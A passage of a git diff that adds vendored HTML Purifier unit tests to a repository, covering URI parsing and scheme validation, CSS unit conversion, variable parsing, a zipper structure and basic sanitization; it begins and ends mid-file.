+ 'http', null, null, null, '/this/is/path', null, null
+ );
+ }
+
+ public function testPathRootless()
+ {
+ // this should not be used but is allowed
+ $this->assertParsing(
+ 'http:this/is/path',
+ 'http', null, null, null, 'this/is/path', null, null
+ );
+ }
+
+ public function testPathEmpty()
+ {
+ $this->assertParsing(
+ 'http:',
+ 'http', null, null, null, '', null, null
+ );
+ }
+
+ public function testRelativeURI()
+ {
+ $this->assertParsing(
+ '/a/b',
+ null, null, null, null, '/a/b', null, null
+ );
+ }
+
+ public function testMalformedTag()
+ {
+ $this->assertParsing(
+ 'http://www.example.com/>',
+ 'http', null, 'www.example.com', null, '/', null, null
+ );
+ }
+
+ public function testEmpty()
+ {
+ $this->assertParsing(
+ '',
+ null, null, null, null, '', null, null
+ );
+ }
+
+ public function testEmbeddedColon()
+ {
+ $this->assertParsing(
+ '{:test:}',
+ null, null, null, null, '{:test:}', null, null
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php
new file mode 100644
index 000000000..5988d4655
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php
@@ -0,0 +1,49 @@
+<?php
+
+class HTMLPurifier_URISchemeRegistryTest extends HTMLPurifier_Harness
+{
+
+ public function test()
+ {
+ generate_mock_once('HTMLPurifier_URIScheme');
+
+ $config = HTMLPurifier_Config::create(array(
+ 'URI.AllowedSchemes' => 'http, telnet',
+ 'URI.OverrideAllowedSchemes' => true
+ ));
+ $context = new HTMLPurifier_Context();
+
+ $registry = new HTMLPurifier_URISchemeRegistry();
+ $this->assertIsA($registry->getScheme('http', $config, $context), 'HTMLPurifier_URIScheme_http');
+
+ $scheme_http = new HTMLPurifier_URISchemeMock();
+ $scheme_telnet = new HTMLPurifier_URISchemeMock();
+ $scheme_foobar = new HTMLPurifier_URISchemeMock();
+
+ // register a new scheme
+ $registry->register('telnet', $scheme_telnet);
+ $this->assertIdentical($registry->getScheme('telnet', $config, $context), $scheme_telnet);
+
+ // overload a scheme, this is FINAL (forget about defaults)
+ $registry->register('http', $scheme_http);
+ $this->assertIdentical($registry->getScheme('http', $config, $context), $scheme_http);
+
+ // when we register a scheme, it's automatically allowed
+ $registry->register('foobar', $scheme_foobar);
+ $this->assertIdentical($registry->getScheme('foobar', $config, $context), $scheme_foobar);
+
+ // now, test when overriding is not allowed
+ $config = HTMLPurifier_Config::create(array(
+ 'URI.AllowedSchemes' => 'http, telnet',
+ 'URI.OverrideAllowedSchemes' => false
+ ));
+ $this->assertNull($registry->getScheme('foobar', $config, $context));
+
+ // scheme not allowed and never registered
+ $this->assertNull($registry->getScheme('ftp', $config, $context));
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php
new file mode 100644
index 000000000..99a46548a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php
@@ -0,0 +1,221 @@
+<?php
+
+// WARNING: All the URI schemes are far to relaxed, we need to tighten
+// the checks.
+
+class HTMLPurifier_URISchemeTest extends HTMLPurifier_URIHarness
+{
+
+ private $pngBase64;
+
+ public function __construct()
+ {
+ $this->pngBase64 =
+ 'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAABGdBTUEAALGP'.
+ 'C/xhBQAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9YGARc5KB0XV+IA'.
+ 'AAAddEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIFRoZSBHSU1Q72QlbgAAAF1J'.
+ 'REFUGNO9zL0NglAAxPEfdLTs4BZM4DIO4C7OwQg2JoQ9LE1exdlYvBBeZ7jq'.
+ 'ch9//q1uH4TLzw4d6+ErXMMcXuHWxId3KOETnnXXV6MJpcq2MLaI97CER3N0'.
+ 'vr4MkhoXe0rZigAAAABJRU5ErkJggg==';
+ }
+
+ protected function assertValidation($uri, $expect_uri = true)
+ {
+ $this->prepareURI($uri, $expect_uri);
+ $this->config->set('URI.AllowedSchemes', array($uri->scheme));
+ // convenience hack: the scheme should be explicitly specified
+ $scheme = $uri->getSchemeObj($this->config, $this->context);
+ $result = $scheme->validate($uri, $this->config, $this->context);
+ $this->assertEitherFailOrIdentical($result, $uri, $expect_uri);
+ }
+
+ public function test_http_regular()
+ {
+ $this->assertValidation(
+ 'http://example.com/?s=q#fragment'
+ );
+ }
+
+ public function test_http_uppercase()
+ {
+ $this->assertValidation(
+ 'http://example.com/FOO'
+ );
+ }
+
+ public function test_http_removeDefaultPort()
+ {
+ $this->assertValidation(
+ 'http://example.com:80',
+ 'http://example.com'
+ );
+ }
+
+ public function test_http_removeUserInfo()
+ {
+ $this->assertValidation(
+ 'http://bob@example.com',
+ 'http://example.com'
+ );
+ }
+
+ public function test_http_preserveNonDefaultPort()
+ {
+ $this->assertValidation(
+ 'http://example.com:8080'
+ );
+ }
+
+ public function test_https_regular()
+ {
+ $this->assertValidation(
+ 'https://user@example.com:443/?s=q#frag',
+ 'https://example.com/?s=q#frag'
+ );
+ }
+
+ public function test_ftp_regular()
+ {
+ $this->assertValidation(
+ 'ftp://user@example.com/path'
+ );
+ }
+
+ public function test_ftp_removeDefaultPort()
+ {
+ $this->assertValidation(
+ 'ftp://example.com:21',
+ 'ftp://example.com'
+ );
+ }
+
+ public function test_ftp_removeQueryString()
+ {
+ $this->assertValidation(
+ 'ftp://example.com?s=q',
+ 'ftp://example.com'
+ );
+ }
+
+ public function test_ftp_preserveValidTypecode()
+ {
+ $this->assertValidation(
+ 'ftp://example.com/file.txt;type=a'
+ );
+ }
+
+ public function test_ftp_removeInvalidTypecode()
+ {
+ $this->assertValidation(
+ 'ftp://example.com/file.txt;type=z',
+ 'ftp://example.com/file.txt'
+ );
+ }
+
+ public function test_ftp_encodeExtraSemicolons()
+ {
+ $this->assertValidation(
+ 'ftp://example.com/too;many;semicolons=1',
+ 'ftp://example.com/too%3Bmany%3Bsemicolons=1'
+ );
+ }
+
+ public function test_news_regular()
+ {
+ $this->assertValidation(
+ 'news:gmane.science.linguistics'
+ );
+ }
+
+ public function test_news_explicit()
+ {
+ $this->assertValidation(
+ 'news:642@eagle.ATT.COM'
+ );
+ }
+
+ public function test_news_removeNonPathComponents()
+ {
+ $this->assertValidation(
+ 'news://user@example.com:80/rec.music?path=foo#frag',
+ 'news:/rec.music#frag'
+ );
+ }
+
+ public function test_nntp_regular()
+ {
+ $this->assertValidation(
+ 'nntp://news.example.com/alt.misc/42#frag'
+ );
+ }
+
+ public function test_nntp_removalOfRedundantOrUselessComponents()
+ {
+ $this->assertValidation(
+ 'nntp://user@news.example.com:119/alt.misc/42?s=q#frag',
+ 'nntp://news.example.com/alt.misc/42#frag'
+ );
+ }
+
+ public function test_mailto_regular()
+ {
+ $this->assertValidation(
+ 'mailto:bob@example.com'
+ );
+ }
+
+ public function test_mailto_removalOfRedundantOrUselessComponents()
+ {
+ $this->assertValidation(
+ 'mailto://user@example.com:80/bob@example.com?subject=Foo#frag',
+ 'mailto:/bob@example.com?subject=Foo#frag'
+ );
+ }
+
+ public function test_data_png()
+ {
+ $this->assertValidation(
+ 'data:image/png;base64,'.$this->pngBase64
+ );
+ }
+
+ public function test_data_malformed()
+ {
+ $this->assertValidation(
+ 'data:image/png;base64,vr4MkhoXJRU5ErkJggg==',
+ false
+ );
+ }
+
+ public function test_data_implicit()
+ {
+ $this->assertValidation(
+ 'data:base64,'.$this->pngBase64,
+ 'data:image/png;base64,'.$this->pngBase64
+ );
+ }
+
+ public function test_file_basic()
+ {
+ $this->assertValidation(
+ 'file://user@MYCOMPUTER:12/foo/bar?baz#frag',
+ 'file://MYCOMPUTER/foo/bar#frag'
+ );
+ }
+
+ public function test_file_local()
+ {
+ $this->assertValidation(
+ 'file:///foo/bar?baz#frag',
+ 'file:///foo/bar#frag'
+ );
+ }
+
+ public function test_ftp_empty_host()
+ {
+ $this->assertValidation('ftp:///example.com', false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URITest.php
new file mode 100644
index 000000000..5ed2e5b2c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URITest.php
@@ -0,0 +1,230 @@
+<?php
+
+class HTMLPurifier_URITest extends HTMLPurifier_URIHarness
+{
+
+ protected function createURI($uri)
+ {
+ $parser = new HTMLPurifier_URIParser();
+ return $parser->parse($uri);
+ }
+
+ public function test_construct()
+ {
+ $uri1 = new HTMLPurifier_URI('HTTP', 'bob', 'example.com', '23', '/foo', 'bar=2', 'slash');
+ $uri2 = new HTMLPurifier_URI('http', 'bob', 'example.com', 23, '/foo', 'bar=2', 'slash');
+ $this->assertIdentical($uri1, $uri2);
+ }
+
+ protected $oldRegistry;
+
+ protected function &setUpSchemeRegistryMock() {
+ $this->oldRegistry = HTMLPurifier_URISchemeRegistry::instance();
+ generate_mock_once('HTMLPurifier_URIScheme');
+ generate_mock_once('HTMLPurifier_URISchemeRegistry');
+ $registry = HTMLPurifier_URISchemeRegistry::instance(
+ new HTMLPurifier_URISchemeRegistryMock()
+ );
+ return $registry;
+ }
+
+ protected function setUpSchemeMock($name)
+ {
+ $registry = $this->setUpSchemeRegistryMock();
+ $scheme_mock = new HTMLPurifier_URISchemeMock();
+ $registry->setReturnValue('getScheme', $scheme_mock, array($name, '*', '*'));
+ return $scheme_mock;
+ }
+
+ protected function setUpNoValidSchemes()
+ {
+ $registry = $this->setUpSchemeRegistryMock();
+ $registry->setReturnValue('getScheme', false, array('*', '*', '*'));
+ }
+
+ protected function tearDownSchemeRegistryMock()
+ {
+ HTMLPurifier_URISchemeRegistry::instance($this->oldRegistry);
+ }
+
+ public function test_getSchemeObj()
+ {
+ $scheme_mock = $this->setUpSchemeMock('http');
+
+ $uri = $this->createURI('http:');
+ $scheme_obj = $uri->getSchemeObj($this->config, $this->context);
+ $this->assertIdentical($scheme_obj, $scheme_mock);
+
+ $this->tearDownSchemeRegistryMock();
+ }
+
+ public function test_getSchemeObj_invalidScheme()
+ {
+ $this->setUpNoValidSchemes();
+
+ $uri = $this->createURI('http:');
+ $result = $uri->getSchemeObj($this->config, $this->context);
+ $this->assertIdentical($result, false);
+
+ $this->tearDownSchemeRegistryMock();
+ }
+
+ public function test_getSchemaObj_defaultScheme()
+ {
+ $scheme = 'foobar';
+
+ $scheme_mock = $this->setUpSchemeMock($scheme);
+ $this->config->set('URI.DefaultScheme', $scheme);
+
+ $uri = $this->createURI('hmm');
+ $scheme_obj = $uri->getSchemeObj($this->config, $this->context);
+ $this->assertIdentical($scheme_obj, $scheme_mock);
+
+ $this->tearDownSchemeRegistryMock();
+ }
+
+ public function test_getSchemaObj_invalidDefaultScheme()
+ {
+ $this->setUpNoValidSchemes();
+ $this->config->set('URI.DefaultScheme', 'foobar');
+
+ $uri = $this->createURI('hmm');
+
+ $this->expectError('Default scheme object "foobar" was not readable');
+ $result = $uri->getSchemeObj($this->config, $this->context);
+ $this->assertIdentical($result, false);
+
+ $this->tearDownSchemeRegistryMock();
+ }
+
+ protected function assertToString($expect_uri, $scheme, $userinfo, $host, $port, $path, $query, $fragment)
+ {
+ $uri = new HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
+ $string = $uri->toString();
+ $this->assertIdentical($string, $expect_uri);
+ }
+
+ public function test_toString_full()
+ {
+ $this->assertToString(
+ 'http://bob@example.com:300/foo?bar=baz#fragment',
+ 'http', 'bob', 'example.com', 300, '/foo', 'bar=baz', 'fragment'
+ );
+ }
+
+ public function test_toString_scheme()
+ {
+ $this->assertToString(
+ 'http:',
+ 'http', null, null, null, '', null, null
+ );
+ }
+
+ public function test_toString_authority()
+ {
+ $this->assertToString(
+ '//bob@example.com:8080',
+ null, 'bob', 'example.com', 8080, '', null, null
+ );
+ }
+
+ public function test_toString_path()
+ {
+ $this->assertToString(
+ '/path/to',
+ null, null, null, null, '/path/to', null, null
+ );
+ }
+
+ public function test_toString_query()
+ {
+ $this->assertToString(
+ '?q=string',
+ null, null, null, null, '', 'q=string', null
+ );
+ }
+
+ public function test_toString_fragment()
+ {
+ $this->assertToString(
+ '#fragment',
+ null, null, null, null, '', null, 'fragment'
+ );
+ }
+
+ protected function assertValidation($uri, $expect_uri = true)
+ {
+ if ($expect_uri === true) $expect_uri = $uri;
+ $uri = $this->createURI($uri);
+ $result = $uri->validate($this->config, $this->context);
+ if ($expect_uri === false) {
+ $this->assertFalse($result);
+ } else {
+ $this->assertTrue($result);
+ $this->assertIdentical($uri->toString(), $expect_uri);
+ }
+ }
+
+ public function test_validate_overlongPort()
+ {
+ $this->assertValidation('http://example.com:65536', 'http://example.com');
+ }
+
+ public function test_validate_zeroPort()
+ {
+ $this->assertValidation('http://example.com:00', 'http://example.com');
+ }
+
+ public function test_validate_invalidHostThatLooksLikeIPv6()
+ {
+ $this->assertValidation('http://[2001:0db8:85z3:08d3:1319:8a2e:0370:7334]', '');
+ }
+
+ public function test_validate_removeRedundantScheme()
+ {
+ $this->assertValidation('http:foo:/:', 'foo%3A/:');
+ }
+
+ public function test_validate_username()
+ {
+ $this->assertValidation("http://user\xE3\x91\x94:@foo.com", 'http://user%E3%91%94:@foo.com');
+ }
+
+ public function test_validate_path_abempty()
+ {
+ $this->assertValidation("http://host/\xE3\x91\x94:", 'http://host/%E3%91%94:');
+ }
+
+ public function test_validate_path_absolute()
+ {
+ $this->assertValidation("/\xE3\x91\x94:", '/%E3%91%94:');
+ }
+
+ public function test_validate_path_rootless()
+ {
+ $this->assertValidation("mailto:\xE3\x91\x94:", 'mailto:%E3%91%94:');
+ }
+
+ public function test_validate_path_noscheme()
+ {
+ $this->assertValidation("\xE3\x91\x94", '%E3%91%94');
+ }
+
+ public function test_validate_query()
+ {
+ $this->assertValidation("?/\xE3\x91\x94", '?/%E3%91%94');
+ }
+
+ public function test_validate_fragment()
+ {
+ $this->assertValidation("#/\xE3\x91\x94", '#/%E3%91%94');
+ }
+
+ public function test_validate_path_empty()
+ {
+ $this->assertValidation('http://google.com');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php
new file mode 100644
index 000000000..53543f023
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php
@@ -0,0 +1,142 @@
+<?php
+
+class HTMLPurifier_UnitConverterTest extends HTMLPurifier_Harness
+{
+
+ protected function assertConversion($input, $expect, $unit = null, $test_negative = true)
+ {
+ $length = HTMLPurifier_Length::make($input);
+ if ($expect !== false) $expectl = HTMLPurifier_Length::make($expect);
+ else $expectl = false;
+ $to_unit = $unit !== null ? $unit : $expectl->getUnit();
+
+ $converter = new HTMLPurifier_UnitConverter(4, 10);
+ $result = $converter->convert($length, $to_unit);
+ if (!$result || !$expectl) $this->assertIdentical($result, $expectl);
+ else $this->assertIdentical($result->toString(), $expectl->toString());
+
+ $converter = new HTMLPurifier_UnitConverter(4, 10, true);
+ $result = $converter->convert($length, $to_unit);
+ if (!$result || !$expectl) $this->assertIdentical($result, $expectl);
+ else $this->assertIdentical($result->toString(), $expectl->toString(), 'BCMath substitute: %s');
+
+ if ($test_negative) {
+ $this->assertConversion(
+ "-$input",
+ $expect === false ? false : "-$expect",
+ $unit,
+ false
+ );
+ }
+ }
+
+ public function testFail()
+ {
+ $this->assertConversion('1in', false, 'foo');
+ $this->assertConversion('1foo', false, 'in');
+ }
+
+ public function testZero()
+ {
+ $this->assertConversion('0', '0', 'in', false);
+ $this->assertConversion('-0', '0', 'in', false);
+ $this->assertConversion('0in', '0', 'in', false);
+ $this->assertConversion('-0in', '0', 'in', false);
+ $this->assertConversion('0in', '0', 'pt', false);
+ $this->assertConversion('-0in', '0', 'pt', false);
+ }
+
+ public function testEnglish()
+ {
+ $this->assertConversion('1in', '6pc');
+ $this->assertConversion('6pc', '1in');
+
+ $this->assertConversion('1in', '72pt');
+ $this->assertConversion('72pt', '1in');
+
+ $this->assertConversion('1pc', '12pt');
+ $this->assertConversion('12pt', '1pc');
+
+ $this->assertConversion('1pt', '0.01389in');
+ $this->assertConversion('1.000pt', '0.01389in');
+ $this->assertConversion('100000pt', '1389in');
+
+ $this->assertConversion('1in', '96px');
+ $this->assertConversion('96px', '1in');
+ }
+
+ public function testMetric()
+ {
+ $this->assertConversion('1cm', '10mm');
+ $this->assertConversion('10mm', '1cm');
+ $this->assertConversion('1mm', '0.1cm');
+ $this->assertConversion('100mm', '10cm');
+ }
+
+ public function testEnglishMetric()
+ {
+ $this->assertConversion('2.835pt', '1mm');
+ $this->assertConversion('1mm', '2.835pt');
+ $this->assertConversion('0.3937in', '1cm');
+ }
+
+ public function testRoundingMinPrecision()
+ {
+ // One sig-fig, modified to be four, conversion rounds up
+ $this->assertConversion('100pt', '1.389in');
+ $this->assertConversion('1000pt', '13.89in');
+ $this->assertConversion('10000pt', '138.9in');
+ $this->assertConversion('100000pt', '1389in');
+ $this->assertConversion('1000000pt', '13890in');
+ }
+
+ public function testRoundingUserPrecision()
+ {
+ // Five sig-figs, conversion rounds down
+ $this->assertConversion('11112000pt', '154330in');
+ $this->assertConversion('1111200pt', '15433in');
+ $this->assertConversion('111120pt', '1543.3in');
+ $this->assertConversion('11112pt', '154.33in');
+ $this->assertConversion('1111.2pt', '15.433in');
+ $this->assertConversion('111.12pt', '1.5433in');
+ $this->assertConversion('11.112pt', '0.15433in');
+ }
+
+ public function testRoundingBigNumber()
+ {
+ $this->assertConversion('444400000000000000000000in', '42660000000000000000000000px');
+ }
+
+ protected function assertSigFig($n, $sigfigs)
+ {
+ $converter = new HTMLPurifier_UnitConverter();
+ $result = $converter->getSigFigs($n);
+ $this->assertIdentical($result, $sigfigs);
+ }
+
+ public function test_getSigFigs()
+ {
+ $this->assertSigFig('0', 0);
+ $this->assertSigFig('1', 1);
+ $this->assertSigFig('-1', 1);
+ $this->assertSigFig('+1', 1);
+ $this->assertSigFig('01', 1);
+ $this->assertSigFig('001', 1);
+ $this->assertSigFig('12', 2);
+ $this->assertSigFig('012', 2);
+ $this->assertSigFig('10', 1);
+ $this->assertSigFig('10.', 2);
+ $this->assertSigFig('100.', 3);
+ $this->assertSigFig('103', 3);
+ $this->assertSigFig('130', 2);
+ $this->assertSigFig('.1', 1);
+ $this->assertSigFig('0.1', 1);
+ $this->assertSigFig('00.1', 1);
+ $this->assertSigFig('0.01', 1);
+ $this->assertSigFig('0.010', 2);
+ $this->assertSigFig('0.012', 2);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php
new file mode 100644
index 000000000..ea4469c72
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php
@@ -0,0 +1,68 @@
+<?php
+
+class HTMLPurifier_VarParser_FlexibleTest extends HTMLPurifier_VarParserHarness
+{
+
+ public function testValidate()
+ {
+ $this->assertValid('foobar', 'string');
+ $this->assertValid('foobar', 'text');
+ $this->assertValid('FOOBAR', 'istring', 'foobar');
+ $this->assertValid('FOOBAR', 'itext', 'foobar');
+
+ $this->assertValid(34, 'int');
+
+ $this->assertValid(3.34, 'float');
+
+ $this->assertValid(false, 'bool');
+ $this->assertValid(0, 'bool', false);
+ $this->assertValid(1, 'bool', true);
+ $this->assertValid('true', 'bool', true);
+ $this->assertValid('false', 'bool', false);
+ $this->assertValid('1', 'bool', true);
+ $this->assertInvalid(34, 'bool');
+ $this->assertInvalid(null, 'bool');
+
+ $this->assertValid(array('1', '2', '3'), 'list');
+ $this->assertValid('foo,bar, cow', 'list', array('foo', 'bar', 'cow'));
+ $this->assertValid('', 'list', array());
+ $this->assertValid("foo\nbar", 'list', array('foo', 'bar'));
+ $this->assertValid("foo\nbar,baz", 'list', array('foo', 'bar', 'baz'));
+
+ $this->assertValid(array('1' => true, '2' => true), 'lookup');
+ $this->assertValid(array('1', '2'), 'lookup', array('1' => true, '2' => true));
+ $this->assertValid('foo,bar', 'lookup', array('foo' => true, 'bar' => true));
+ $this->assertValid("foo\nbar", 'lookup', array('foo' => true, 'bar' => true));
+ $this->assertValid("foo\nbar,baz", 'lookup', array('foo' => true, 'bar' => true, 'baz' => true));
+ $this->assertValid('', 'lookup', array());
+ $this->assertValid(array(), 'lookup');
+
+ $this->assertValid(array('foo' => 'bar'), 'hash');
+ $this->assertValid(array(1 => 'moo'), 'hash');
+ $this->assertInvalid(array(0 => 'moo'), 'hash');
+ $this->assertValid('', 'hash', array());
+ $this->assertValid('foo:bar,too:two', 'hash', array('foo' => 'bar', 'too' => 'two'));
+ $this->assertValid("foo:bar\ntoo:two,three:free", 'hash', array('foo' => 'bar', 'too' => 'two', 'three' => 'free'));
+ $this->assertValid('foo:bar,too', 'hash', array('foo' => 'bar'));
+ $this->assertValid('foo:bar,', 'hash', array('foo' => 'bar'));
+ $this->assertValid('foo:bar:baz', 'hash', array('foo' => 'bar:baz'));
+
+ $this->assertValid(23, 'mixed');
+
+ }
+
+ public function testValidate_withMagicNumbers()
+ {
+ $this->assertValid('foobar', HTMLPurifier_VarParser::STRING);
+ }
+
+ public function testValidate_null()
+ {
+ $this->assertIdentical($this->parser->parse(null, 'string', true), null);
+ $this->expectException('HTMLPurifier_VarParserException');
+ $this->parser->parse(null, 'string', false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php
new file mode 100644
index 000000000..266a09f82
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php
@@ -0,0 +1,13 @@
+<?php
+
+class HTMLPurifier_VarParser_NativeTest extends HTMLPurifier_VarParserHarness
+{
+
+ public function testValidateSimple()
+ {
+ $this->assertValid('"foo\\\\"', 'string', 'foo\\');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php
new file mode 100644
index 000000000..68708dbf8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php
@@ -0,0 +1,36 @@
+<?php
+
+class HTMLPurifier_VarParserHarness extends UnitTestCase
+{
+
+ protected $parser;
+
+ public function setup()
+ {
+ $class = substr(get_class($this), 0, -4);
+ $this->parser = new $class();
+ }
+
+ public function assertValid($var, $type, $ret = null)
+ {
+ $ret = ($ret === null) ? $var : $ret;
+ $this->assertIdentical($this->parser->parse($var, $type), $ret);
+ }
+
+ public function assertInvalid($var, $type, $msg = null)
+ {
+ $caught = false;
+ try {
+ $this->parser->parse($var, $type);
+ } catch (HTMLPurifier_VarParserException $e) {
+ $caught = true;
+ if ($msg !== null) $this->assertIdentical($e->getMessage(), $msg);
+ }
+ if (!$caught) {
+ $this->fail('Did not catch expected error');
+ }
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ZipperTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ZipperTest.php
new file mode 100644
index 000000000..50c3f04cd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ZipperTest.php
@@ -0,0 +1,26 @@
+<?php
+
+class HTMLPurifier_ZipperTest extends HTMLPurifier_Harness
+{
+ public function testBasicNavigation() {
+ list($z, $t) = HTMLPurifier_Zipper::fromArray(array(0,1,2,3));
+ $this->assertIdentical($t, 0);
+ $t = $z->next($t);
+ $this->assertIdentical($t, 1);
+ $t = $z->prev($t);
+ $this->assertIdentical($t, 0);
+ $t = $z->advance($t, 2);
+ $this->assertIdentical($t, 2);
+ $t = $z->delete();
+ $this->assertIdentical($t, 3);
+ $z->insertBefore(4);
+ $z->insertAfter(5);
+ $this->assertIdentical($z->toArray($t), array(0,1,4,3,5));
+ list($old, $t) = $z->splice($t, 2, array(6,7));
+ $this->assertIdentical($old, array(3,5));
+ $this->assertIdentical($t, 6);
+ $this->assertIdentical($z->toArray($t), array(0,1,4,6,7));
+ }
+
+ // ToDo: QuickCheck style test comparing with array_splice
+}
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifierTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifierTest.php
new file mode 100644
index 000000000..1fbcddf86
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifierTest.php
@@ -0,0 +1,60 @@
+<?php
+
+class HTMLPurifierTest extends HTMLPurifier_Harness
+{
+ protected $purifier;
+
+ public function testNull()
+ {
+ $this->assertPurification("Null byte\0", "Null byte");
+ }
+
+ public function test_purifyArray()
+ {
+ $this->assertIdentical(
+ $this->purifier->purifyArray(
+ array('Good', '<b>Sketchy', 'foo' => '<script>bad</script>')
+ ),
+ array('Good', '<b>Sketchy</b>', 'foo' => '')
+ );
+
+ $this->assertIsA($this->purifier->context, 'array');
+
+ }
+
+ public function testGetInstance()
+ {
+ $purifier = HTMLPurifier::getInstance();
+ $purifier2 = HTMLPurifier::getInstance();
+ $this->assertReference($purifier, $purifier2);
+ }
+
+ public function testMakeAbsolute()
+ {
+ $this->config->set('URI.Base', 'http://example.com/bar/baz.php');
+ $this->config->set('URI.MakeAbsolute', true);
+ $this->assertPurification(
+ '<a href="foo.txt">Foobar</a>',
+ '<a href="http://example.com/bar/foo.txt">Foobar</a>'
+ );
+ }
+
+ public function testDisableResources()
+ {
+ $this->config->set('URI.DisableResources', true);
+ $this->assertPurification('<img src="foo.jpg" />', '');
+ }
+
+ public function test_addFilter_deprecated()
+ {
+ $this->expectError('HTMLPurifier->addFilter() is deprecated, use configuration directives in the Filter namespace or Filter.Custom');
+ generate_mock_once('HTMLPurifier_Filter');
+ $this->purifier->addFilter($mock = new HTMLPurifier_FilterMock());
+ $mock->expectOnce('preFilter');
+ $mock->expectOnce('postFilter');
+ $this->purifier->purify('foo');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php
new file mode 100644
index 000000000..ac4512f56
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php
@@ -0,0 +1,26 @@
+<?php
+
+/**
+ * Controller for PHPT that implements the SimpleTest unit-testing interface.
+ */
+class PHPT_Controller_SimpleTest extends SimpleTestCase
+{
+
+ protected $_path;
+
+ public function __construct($path)
+ {
+ $this->_path = $path;
+ parent::__construct($path);
+ }
+
+ public function testPhpt()
+ {
+ $suite = new PHPT_Suite(array($this->_path));
+ $phpt_reporter = new PHPT_Reporter_SimpleTest($this->reporter);
+ $suite->run($phpt_reporter);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php
new file mode 100644
index 000000000..34b47cd49
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * Proxies results from PHPT_Reporter to SimpleTest's reporter
+ */
+class PHPT_Reporter_SimpleTest implements PHPT_Reporter
+{
+
+ /** SimpleTest reporter to proxy results to */
+ protected $reporter;
+
+ /** @param SimpleTest reporter */
+ public function __construct($reporter)
+ {
+ $this->reporter = $reporter;
+ }
+
+ // TODO: Figure out what the proper calls should be, since we've given
+ // each Suite its own UnitTestCase controller
+
+ /**
+ * Called when the Reporter is started from a PHPT_Suite
+ * @todo Figure out if Suites can be named
+ */
+ public function onSuiteStart(PHPT_Suite $suite)
+ {
+ //$this->reporter->paintGroupStart('PHPT Suite', $suite->count());
+ }
+
+ /**
+ * Called when the Reporter is finished in a PHPT_Suite
+ */
+ public function onSuiteEnd(PHPT_Suite $suite)
+ {
+ //$this->reporter->paintGroupEnd('PHPT Suite');
+ }
+
+ /**
+ * Called when a Case is started
+ */
+ public function onCaseStart(PHPT_Case $case)
+ {
+ //$this->reporter->paintCaseStart($case->name);
+ }
+
+ /**
+ * Called when a Case ends
+ */
+ public function onCaseEnd(PHPT_Case $case)
+ {
+ //$this->reporter->paintCaseEnd($case->name);
+ }
+
+ /**
+ * Called when a Case runs without Exception
+ */
+ public function onCasePass(PHPT_Case $case)
+ {
+ $this->reporter->paintPass("{$case->name} in {$case->filename}");
+ }
+
+ /**
+ * Called when a PHPT_Case_VetoException is thrown during a Case's run()
+ */
+ public function onCaseSkip(PHPT_Case $case, PHPT_Case_VetoException $veto)
+ {
+ $this->reporter->paintSkip($veto->getMessage() . ' [' . $case->filename .']');
+ }
+
+ /**
+ * Called when any Exception other than a PHPT_Case_VetoException is encountered
+ * during a Case's run()
+ */
+ public function onCaseFail(PHPT_Case $case, PHPT_Case_FailureException $failure)
+ {
+ $this->reporter->paintFail($failure->getReason());
